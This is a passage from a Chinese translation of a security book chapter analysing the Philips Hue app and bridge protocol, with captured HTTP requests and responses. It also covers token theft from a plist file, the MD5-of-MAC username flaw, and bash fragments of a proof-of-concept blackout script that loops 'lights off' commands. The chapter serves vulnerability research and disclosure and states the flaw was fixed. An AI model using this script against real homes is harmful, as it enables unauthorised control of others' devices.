1.3 使用iOS App控制灯光
用户也可使用装有照明系统App的iPhone或iPad远程或本地控制灯光。
当照明系统的App首次运行时,它会测试一下,看看它是否有权发送命令给本地网络的照明系统网桥:
GET /api/[username DELETED] HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Pragma: no-cache
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
username令牌被照明系统App选中。网桥的响应信息如下:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json
[{"error":{"type":1,"address":"/","description":"unauthorized user"}}]
由于这是iOS设备首次尝试连接网桥,设备还没有被授权。在这种情况下,用户需要按下网桥的按钮以证明其对设备拥有所有权。这时,iOS App会提示用户如何做,如图1-9所示。
图1-9:iOS App提示用户按下网桥的物理按钮
除此之外,iOS App还会向网桥发送POST请求,如下所示:
POST /api HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept: */*
Pragma: no-cache
Connection: keep-alive
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 71
{"username":"[username DELETED]","devicetype":"iPhone 5"}
需要注意的是,这里username字段的值要与此前发送请求的username字段的值保持一致,但是对于某个特定设备首次运行该iOS App的情况,username字段的值是无效的。如果用户在30秒内按下网桥上的按钮,那么该username字段就会被授权,就可以用来向位于本地网络中的网桥发送指令了。
当用户按下网桥上的按键之后,网桥会向iOS App发送如下所示的响应信息:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json
[{"success":{"username":"[username DELETED]"}}]
网桥主动发送的响应信息将username字段值回馈给iOS App。至此,iOS App授权就成功了,只要它记住username字段的值,就可以向网桥发号施令了。
用户可以使用iOS App关闭所有灯光,如图1-10所示。
当用户从iOS App上选择关闭所有灯光时(假定用户也位于本地网络,如在家中),iOS App会向网桥直接发送如下所示请求:
PUT /api/[username DELETED]/groups/0/action HTTP/1.1
Host: 10.0.1.2
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-us
Pragma: no-cache
Connection: keep-alive
User-Agent: hue/1.1.1 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 12
{"on":false}
网桥的响应信息如下:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 1 Aug 2011 09:00:00 GMT
Connection: close
Access-Control-Max-Age: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Content-type: application/json
[{"success":{"/groups/0/action/on":false}}]
图1-10:用户按下iOS App上的“ALL OFF”(全部关闭)按钮
success属性中的false值表示命令执行成功,所有灯泡都关闭了(/groups/0/action/on表示否定的状态,也就是说,如果为false,表示开灯)。
如果设备与用户不在同一个网段内(比如用户是远程操作的),那么iOS App就需要利用门户设施远程向网桥发送指令。这时,iOS设备会提示用户无法直接连接到网桥,如图1-11所示。
图1-11:照明系统App通知用户无法连接到网桥
如果用户点击图1-11对话框中的“More”(更多)按钮,App就会提供一个“Setup away from home”(远程设置)选项,如图1-12所示。
图1-12:点击“More”之后的更多选项
用户选择“Setup away from home”(远程设置)选项之后,App会启动Safari浏览器并要求用户输入认证信息,如图1-13所示。这时,用户需要输入早先设置完成的认证(1.2节描述了如何设置认证)。
一旦用户认证成功,就会被要求给予App授权(如图1-14所示)。
图1-13:iOS App授权认证的登录页面
一旦用户选择了Yes,浏览器就会向www.meethue.com网站发送GET请求,如下所示:
GET /en-US/api/getaccesstokenpost HTTP/1.1
Host: www.meethue.com
Referer: https://www.meethue.com/en-US/api/getaccesstokengivepermission
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: [DELETED]
Accept-Language: en-us
Connection: keep-alive
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X)
AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B350 Safari/8536.25
图1-14:给App授权
网站服务器给出的响应信息如下:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: [DELETED]
Vary: Accept-Encoding
Date: Mon, 08 Jul 2013 05:24:14 GMT
Server: Google Frontend
Content-Length: 1653
<!DOCTYPE html>
<html>
<head>
<meta content="0;phhueapp://sdk/login/8/[TOKEN DELETED]=" http-equiv="refresh" />
[Rest of HTML deleted for brevity]
服务器的响应信息将Web浏览器重定向到phhueapp://sdk/login/8/ [TOKEN DELETED],这会导致iOS App重启。之后iOS App会获得并保存TOKEN值,然后iOS App就能够连接到www.meethue.com网站上并远程向网桥发送命令了。
phhueapp称为URL模式(URL scheme)。对于那些已经注册了用于处理这些URL模式的App,URL模式能够让Safari浏览器和其他应用程序启动它们。例如,在iOS的Safari浏览器中输入maps://,就可以启动原生地图App。在我们的例子中,照明系统App注册了phhueapp模式,所以当Safari浏览器重定向到以phhueapp:字符串开头的URL地址时,它就会启动照明系统App。
现在,当用户位于远程网段内(比如与网桥不在同一个无线网内),则其发出的命令需要通过互联网发送给www.meethue.com。这种情况下,当用户按下关闭全部(ALL OFF)(如图1-10所示)时,iOS App就会发送带有之前获取到的授权TOKEN值的请求信息,如下所示:
POST /api/sendmessage?token=[DELETED} HTTP/1.1
Host: www.meethue.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: hue/1.0.2 CFNetwork/609.1.4 Darwin/13.0.0
Content-Length: 127
clipmessage={ bridgeId: "[DELETED}", clipCommand: { url:
"/api/0/groups/0/action", method: "PUT", body:
{"on":false} } }
网桥响应如下:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_FLASH=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_ERRORS=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: PLAY_SESSION=;Path=/;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Date: Mon, 06 May 2013 19:51:58 GMT
Server: Google Frontend
Content-Length: 41
{"code":200,"message":"ok","result":"ok"}
www.meethue.com响应信息中的ok表示命令已经成功执行,所有的灯泡都关闭了。
1.3.1从移动设备中偷取令牌
iOS App将username令牌和www.meethue.com网站令牌分别命名为uniqueGlobalDeviceIdentifier和sdkPortalToken,保存到iPhone和iPad的Library/Preferences/com.philips.lighting.hue.plist文件中。临时访问照明用户的移动设备,可以获取这些文件并能够远程控制用户照明灯泡。由于攻击者需要获取访问移动设备的权限,因此这种风险的可能性较低。
1.3.2恶意软件可导致持续停电
在分析用例的过程中,我们学习了如何使用iOS App注册网桥username令牌。这个秘密令牌可被用在局域网内与网桥直连的所有设备上,并可发送授权指令控制灯泡。
我们发现,iOS App采用的username令牌并不是随机生成的,而是通过对iPhone或iPad的MAC地址进行MD5加密之后生成的哈希值。每一个网卡(不管有线的还是无线的)都可以手工设置一个独立的MAC地址。不管是有线网卡还是无线网卡,其在本地局域网内的MAC地址都可以通过执行arp指令来获得,大多数操作系统都支持该命令。
$ arp -a -n
? (172.20.0.1) at d4:ae:52:9d:1f:49 on en0 ifscope [ethernet]
? (172.20.0.23) at 7c:7a:91:33:be:a4 on en0 ifscope [ethernet]
? (172.20.0.52) at d8:a2:5e:4b:9a:50 on en0 ifscope [ethernet]
? (172.20.0.75) at 54:e4:3a:a6:4b:0e on en0 ifscope [ethernet]
? (172.20.0.90) at c8:f6:50:08:5f:e7 on en0 ifscope [ethernet]
? (172.20.0.154) at 74:e1:b6:9f:12:66 on en0 ifscope [ethernet]
通过arp命令,我们可以知道特定设备的MAC地址。比如,IP地址为172.20.0.90的设备的MAC地址为c8:f6:50:08:5f:e7。
常用的MD5算法我们称为单向哈希。使用md5程序,我们可以计算出c8:f6:50:08:5f:e7的哈希值:
$ md5 -s "c8:f6:50:08:5f:e7"
MD5 ("c8:f6:50:08:5f:e7") = 4ad1c59ad3f1c4fcdd67a55ee8f80160
这里,我们计算出c8:f6:50:08:5f:e7的哈希值为4ad1c59ad3f1c4fcdd67a55ee8f80160。由于MD5算法的单向性,很难将哈希值逆向工程得到MAC地址。但是考虑这种情况,如果某台设备感染了病毒程序(也就是恶意软件),被种植了木马。那么,该恶意软件就可以很轻松地执行arp命令,并快速计算出表中每一个MAC地址的哈希值。这时,恶意软件只需要接入到本地网络的照明设备网桥,使用username的哈希值就可以关闭灯泡,最终导致停电事件。也就是说,本地网络中任意一台设备上如果被植入了恶意软件,那么该软件就可以直接连入网桥,并持续发送关闭灯泡的指令,造成持续停电。
假定我们有一个使用bash shell编写的可应用在大多数Unix和Linux系统上的概念证明(proof-of-concept,POC)恶意程序。首先,这个恶意的脚本程序需要定位网桥的IP地址:
while [ -z "$bridge_ip" ];
do
bridge_ip=($(curl --connect-timeout 5 -s https://www.meethue.com/api/nupnp
|awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/);
ip = substr($0,RSTART,RLENGTH); print ip}'))
# If no bridge is found, try again in 10 minutes
if [ -z "$bridge_ip" ];
then
sleep 600
fi
done
该脚本使用浏览器访问https://www.meethue.com/api/nupnp页面(见图1-4)以获取网桥的IP地址。如果获取失败,脚本程序会休眠10分钟然后继续尝试,直到获取到一个位于本地网络上的网桥的IP地址。
接下来,脚本程序开始执行一个无穷循环:
while true; do
在这个无穷循环内,脚本程序首先使用arp命令获取MAC地址:
mac_addresses=( $(arp -a | awk '{print toupper($4)}')
然后,对每个获取到的MAC地址进行填充,比如MAC地址1:2:3:4:5:6最终会补充为01:02:03:04:05:06:
padded_m=`echo $m |
sed "s/^\(.\):/0\1:/" |
sed "s/:\(.\):/:0\1:/g" |
sed "s/:\(.\):/:0\1:/g" |
sed "s/:\(.\)$/:0\1/"`
之后,脚本程序使用循环语句计算每一个MAC地址的MD5哈希值:
bridge_username=( $(md5 -q -s $padded_m))
接下来,脚本使用curl指令连接网桥,使用计算出来的username发送关灯指令:
turn_it_off=($(curl --connect-timeout 5 -s -X PUT http://$bridge_ip/api/
$bridge_username/groups/0/action -d {\"on\":false} | grep success))
如果命令执行成功,脚本会进入另一个无穷循环中,不断向网桥发送关灯指令:
if [ -n "$turn_it_off" ]; then
echo "SUCCESS! It's blackout time!";
while true;
do
turn_it_off=($(curl --connect-timeout 5
-s -X PUT http://$bridge_ip/api/$bridge_username
/groups/0/action -d {\"on\":false} | grep success))
done
例1-1包含了完整的脚本代码程序。
例1-1:hue_blackout.bash
照明系统的另一个设计缺陷是它无法注销whitelist令牌。换句话说,如果某个设备如iPhone获得了访问网桥的授权,那么用户就不能取消该授权。因为这是使用MAC地址执行的授权,因此被授权设备会一直拥有访问网桥的权限。
访问Hacking Lightbulbs(http://bit.ly/hacking_lightbulbs)可观看hue_blackout.bash脚本的视频演示。
需要提醒的是,上述问题已反馈给飞利浦公司,问题已经得到修复,软件和固件更新也已经发布了。